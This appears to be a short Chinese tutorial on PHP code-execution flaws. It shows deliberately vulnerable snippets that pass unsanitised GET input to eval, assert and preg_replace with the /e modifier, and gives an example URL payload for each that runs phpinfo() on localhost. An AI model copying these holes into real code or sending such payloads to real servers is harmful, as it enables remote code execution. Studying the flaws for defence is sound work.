PHP命令执行
1.eval
<?php
$moon=$_GET['moon'];
eval("\$a=$moon;");
?>
2.assert上述代码eval换成assert也可以 3.preg_replace:若是在正则表达式匹配(pattern)中存在/e,那么最后被替换出的string将会代码执行
i.第一个参数注射
代码如下:
$var="<php>phpinfo();</php>";
echo $reg=$_GET['reg'];
//echo $reg;
preg_replace("/<php>(.*)$reg",'\\1',$var);
我们访问以下url:
localhost:/1.php?reg=<\/php>/e
ii.第二个参数注射
<?php
preg_replace("/moon/e",$_GET['moon'],"I love moon");
?>
访问以下url
http://localhost/1.php?moon=phpinfo()
iii.第三个参数注射
<?php preg_replace("/\s*\[php\](.*)\[php\]\s*/ies","\\1",$_GET['moon']); ?>
访问url:http://localhost/1.php?moon=[php]phpinfo%28%29[php]

浙公网安备 33010602011771号